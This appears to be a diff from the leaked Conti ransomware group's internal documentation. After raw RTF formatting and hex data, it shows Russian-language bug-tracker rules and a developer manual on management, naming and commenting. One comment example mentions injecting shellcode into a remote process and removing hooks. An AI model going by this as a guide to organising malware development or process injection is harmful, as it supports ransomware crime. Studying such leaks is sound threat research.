\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope address;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope return;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation reference;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 line number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 page number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote text;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of authorities;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 macro;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 toa heading;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 5;\lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Closing;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Signature;\lsdsemihidden1 \lsdunhideused1 \lsdpriority1 \lsdlocked0 Default Paragraph Font;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 4;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Message Header;\lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Salutation;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Date;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Note Heading;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Block Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Hyperlink;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 FollowedHyperlink;\lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;
\lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Document Map;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Plain Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 E-mail Signature;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Address;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Cite;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Code;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Definition;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Variable;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal Table;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation subject;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 No List;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Simple 1;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Simple 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Simple 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Classic 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Classic 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Classic 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Classic 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Colorful 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Colorful 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Colorful 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Columns 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Columns 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Columns 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Columns 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Columns 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 6;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 7;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Grid 8;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 6;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 7;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table List 8;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table 3D effects 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table 3D effects 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table 3D effects 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Contemporary;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Elegant;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Professional;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Subtle 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Subtle 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Web 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Web 2;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Web 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Balloon Text;\lsdpriority39 \lsdlocked0 Table Grid;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Table Theme;\lsdsemihidden1 \lsdlocked0 Placeholder Text;
\lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing;\lsdpriority60 \lsdlocked0 Light Shading;\lsdpriority61 \lsdlocked0 Light List;\lsdpriority62 \lsdlocked0 Light Grid;\lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdpriority64 \lsdlocked0 Medium Shading 2;
\lsdpriority65 \lsdlocked0 Medium List 1;\lsdpriority66 \lsdlocked0 Medium List 2;\lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdpriority68 \lsdlocked0 Medium Grid 2;\lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdpriority70 \lsdlocked0 Dark List;
\lsdpriority71 \lsdlocked0 Colorful Shading;\lsdpriority72 \lsdlocked0 Colorful List;\lsdpriority73 \lsdlocked0 Colorful Grid;\lsdpriority60 \lsdlocked0 Light Shading Accent 1;\lsdpriority61 \lsdlocked0 Light List Accent 1;
\lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdsemihidden1 \lsdlocked0 Revision;
\lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;
\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 1;\lsdpriority72 \lsdlocked0 Colorful List Accent 1;
\lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdpriority60 \lsdlocked0 Light Shading Accent 2;\lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2;
\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 2;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;
\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2;\lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdpriority72 \lsdlocked0 Colorful List Accent 2;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;
\lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdpriority61 \lsdlocked0 Light List Accent 3;\lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3;
\lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;
\lsdpriority70 \lsdlocked0 Dark List Accent 3;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 3;\lsdpriority60 \lsdlocked0 Light Shading Accent 4;
\lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdpriority62 \lsdlocked0 Light Grid Accent 4;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 4;
\lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdpriority70 \lsdlocked0 Dark List Accent 4;
\lsdpriority71 \lsdlocked0 Colorful Shading Accent 4;\lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdpriority60 \lsdlocked0 Light Shading Accent 5;\lsdpriority61 \lsdlocked0 Light List Accent 5;
\lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 5;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5;\lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;
\lsdpriority72 \lsdlocked0 Colorful List Accent 5;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdpriority61 \lsdlocked0 Light List Accent 6;\lsdpriority62 \lsdlocked0 Light Grid Accent 6;
\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdpriority70 \lsdlocked0 Dark List Accent 6;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;
\lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 6;\lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis;
\lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdsemihidden1 \lsdunhideused1 \lsdpriority37 \lsdlocked0 Bibliography;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;\lsdpriority41 \lsdlocked0 Plain Table 1;\lsdpriority42 \lsdlocked0 Plain Table 2;\lsdpriority43 \lsdlocked0 Plain Table 3;\lsdpriority44 \lsdlocked0 Plain Table 4;
\lsdpriority45 \lsdlocked0 Plain Table 5;\lsdpriority40 \lsdlocked0 Grid Table Light;\lsdpriority46 \lsdlocked0 Grid Table 1 Light;\lsdpriority47 \lsdlocked0 Grid Table 2;\lsdpriority48 \lsdlocked0 Grid Table 3;\lsdpriority49 \lsdlocked0 Grid Table 4;
\lsdpriority50 \lsdlocked0 Grid Table 5 Dark;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 1;
\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 1;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 1;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 1;
\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 1;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 2;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 2;
\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 2;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 2;
\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 3;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 3;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 3;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 3;
\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 3;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 4;
\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 4;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 4;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 4;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 4;
\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 4;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 5;
\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 5;\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 5;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 5;
\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 5;\lsdpriority46 \lsdlocked0 Grid Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 Grid Table 2 Accent 6;\lsdpriority48 \lsdlocked0 Grid Table 3 Accent 6;
\lsdpriority49 \lsdlocked0 Grid Table 4 Accent 6;\lsdpriority50 \lsdlocked0 Grid Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 Grid Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 Grid Table 7 Colorful Accent 6;
\lsdpriority46 \lsdlocked0 List Table 1 Light;\lsdpriority47 \lsdlocked0 List Table 2;\lsdpriority48 \lsdlocked0 List Table 3;\lsdpriority49 \lsdlocked0 List Table 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark;
\lsdpriority51 \lsdlocked0 List Table 6 Colorful;\lsdpriority52 \lsdlocked0 List Table 7 Colorful;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 1;\lsdpriority47 \lsdlocked0 List Table 2 Accent 1;\lsdpriority48 \lsdlocked0 List Table 3 Accent 1;
\lsdpriority49 \lsdlocked0 List Table 4 Accent 1;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 1;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 1;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 1;
\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 2;\lsdpriority47 \lsdlocked0 List Table 2 Accent 2;\lsdpriority48 \lsdlocked0 List Table 3 Accent 2;\lsdpriority49 \lsdlocked0 List Table 4 Accent 2;
\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 2;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 2;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 2;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 3;
\lsdpriority47 \lsdlocked0 List Table 2 Accent 3;\lsdpriority48 \lsdlocked0 List Table 3 Accent 3;\lsdpriority49 \lsdlocked0 List Table 4 Accent 3;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 3;
\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 3;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 3;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 4;\lsdpriority47 \lsdlocked0 List Table 2 Accent 4;
\lsdpriority48 \lsdlocked0 List Table 3 Accent 4;\lsdpriority49 \lsdlocked0 List Table 4 Accent 4;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 4;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 4;
\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 4;\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 5;\lsdpriority47 \lsdlocked0 List Table 2 Accent 5;\lsdpriority48 \lsdlocked0 List Table 3 Accent 5;
\lsdpriority49 \lsdlocked0 List Table 4 Accent 5;\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 5;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 5;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 5;
\lsdpriority46 \lsdlocked0 List Table 1 Light Accent 6;\lsdpriority47 \lsdlocked0 List Table 2 Accent 6;\lsdpriority48 \lsdlocked0 List Table 3 Accent 6;\lsdpriority49 \lsdlocked0 List Table 4 Accent 6;
\lsdpriority50 \lsdlocked0 List Table 5 Dark Accent 6;\lsdpriority51 \lsdlocked0 List Table 6 Colorful Accent 6;\lsdpriority52 \lsdlocked0 List Table 7 Colorful Accent 6;}}{\*\datastore 010500000200000018000000
4d73786d6c322e534158584d4c5265616465722e362e3000000000000000000000060000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffff0c6ad98892f1d411a65f0040963251e500000000000000000000000060ab
0bbb27e7d101feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000105000000000000}}

41
Conti Documentation Leak/docs/management/Учет задач.txt

@ -0,0 +1,41 @@
УЧЕТ ЗАДАЧ В БАГТРЕКЕРЕ
В любой момент должна быть минимум одна назначенная вам задача в статусе "В работе".
Если вы работаете над проектом в одиночку, вы создаете задачи и ведете учет сами.
Для проекта в разработке, это значит что вам нужно представить план работ в виде задач,
разбить большую задачу на подзадачи, дать оценку времени по ним.
Для проекта на поддержке, это текущие рутинные задачи.
В противном случае, задачи создает ваш технический руководитель.
Давайте задаче оценку времени выполнения, при создании.
Меняйте задаче статус, когда берете задачу в работу, отправляете на тест или на рецензию.
У задачи должен быть исполнитель!
Статусы "Тестирование" и "Рецензия" ставятся задаче только если это актуально для данного проекта.
В РАБОТЕ -> ТЕСТИРОВАНИЕ При переводе задачи на тестирование, исполнителем ставится тестировщик.
ТЕСТИРОВАНИЕ -> В РАБОТЕ При возврате задачи на доработку, исполнителем ставится разработчик.
ТЕСТИРОВАНИЕ -> ГОТОВО При переводе задачи в статус "готово", задача назначается руководителю проекта.
Для задач тестирования, всегда должна быть первичная задача:
- на разработку (то, над чем работал разработчик, и теперь это надо проверить)
- либо на регулярный ежедневный тест (ежедневно/регулярно проверяемые сборки)
В первом случае разработчик переводит задачу на тестировщика, задача после приемки закрывается.
Во втором случае, задача может быть открыта вечно (с назначением на тестировщика), в неё идет учет времени и заметки.
Отмечайте прогресс выполнения задачи.
Отмечайте потраченное время ежедневно.
Если нужно приложить файл (лог, снимок экрана итд), вы физически приаттачиваете файл к задаче.
ЗАПРЕЩЕНО давать ссылки на файлообменники.
Ведите в комментах к задаче рабочие заметки.
Если есть сложная проблема на пути к цели,
или вы нашли решение проблемы,
или возник вопрос - пишите коммент.
Не забывайте дать ссылки на источник решения.

193
Conti Documentation Leak/docs/management/наставление разработчику.txt

@ -0,0 +1,193 @@
Большинство идей в этом документе известны опытным разработчикам.
ПРИНЦИПЫ УПРАВЛЕНИЯ
Есть множество моделей управления разработкой, из которых сейчас возобладали разные вариации Agile.
Причем эта методология приобрела статус догмы и ожидаемо породила секты фанатиков.
Мы не следуем какой-либо готовой модели и используем свою, беря наилучшее из разных подходов.
При этом всячески остерегаемся догматизма, соблазна "забронзоветь".
Из Agile мы берем гибкость.
Это значит что мы меняем любые мешающие правила.
Итеративность и связанные с нею ритуалы не нужны, из-за специфики потребителей нашего софта.
Мы сохраняем отсутствие иерархичности в анархической самоорганизации:
- прямое общение каждого с каждым по любому вопросу
- прямое общение разработчика с заказчиком
- сетевую организацию рабочих групп
- множество ролей у участника в зависимости от вовлеченности в тот или иной проект
(тех.лид в проекте А, исполнитель в проекте Б, заказчик в проекте В)
Из методик разработки свободного ПО мы берем систему контроля версий и систему учета ошибок.
Эти системы стали широко применяться именно в начале 90-х в рамках разработки проекта Mozilla и другого свободного ПО,
хотя почему-то считаются атрибутами Agile.
От бюрократии проектной разработки мы берем историчность, возможность найти то, что уже когда-то было.
Помним: ЖИЗНЬ является самоорганизацией хаотической материи.
Хаосу свойственна самоорганизация на потоках энергии.
Мы и есть этот ХАОС.
ЖИЗНЬ сама нас поправит, когда мы начнем коснеть (а вовсе не некие волшебные методики).
ПРИНЦИПЫ КОДИРОВАНИЯ
* В стиле кодирования основное - это имена. А вовсе не скобочки и отступы.
Умение давать имя, именовать - это показатель уровня разработчика.
Если вы дали хорошее и подходящее имя переменной или функции или классу, то все остальное почти автоматически будет хорошо.
Если наоборот - то почти автоматически все остальное будет плохо.
Хорошее имя - это не значит длинное.
Это значит уместное, подходящее, меткое, точно отражающее суть, наилучшим образом характеризующее,
грамматически правильное, используемое и узнаваемое другими в похожем контексте.
Возможно вы замечали, что в подменю Visual Studio "Рефакторинг" пункт "Переименовать" стоит первым.
Неверный выбор прорастет в коде навеки!
Бойтесь опечаток наподобие imfo или autometic - ошибаетесь один раз и навсегда.
Хуже всего, если такой идентификатор с опечаткой попадет в интерфейс!!!
Если у вас код разнесен по нескольким подсистемам на разных языках программирования и интерфейсах, используйте одно и то же имя везде.
Трудно искать несоответствия, когда на С++ переменная звучит как errno, в HTTP API передается как errLvl,
а в логах выписывается как errorLevel.
* Комментарии объясняют то, что не объясняют хорошо выбранные имена.
У нас много магии используется.
Объясняйте _намерения_ кроме _методов_, по максимуму, развернутыми комментами.
Надо писать не только "что и как я делаю", а в первую очередь "зачем я делаю, какую цель достигаю, какую проблему решаю".
плохо
// аллоцируем память в удаленном процессе и запускаем шелл-код
хорошо
// нам нужно снять хуки на такую-то функцию в удаленном процессе, потому что иначе не заработает то и это
// поэтому аллоцируем память в удаленном процессе и запускаем шелл-код, который взят вот отсюда с гитхаба https://...
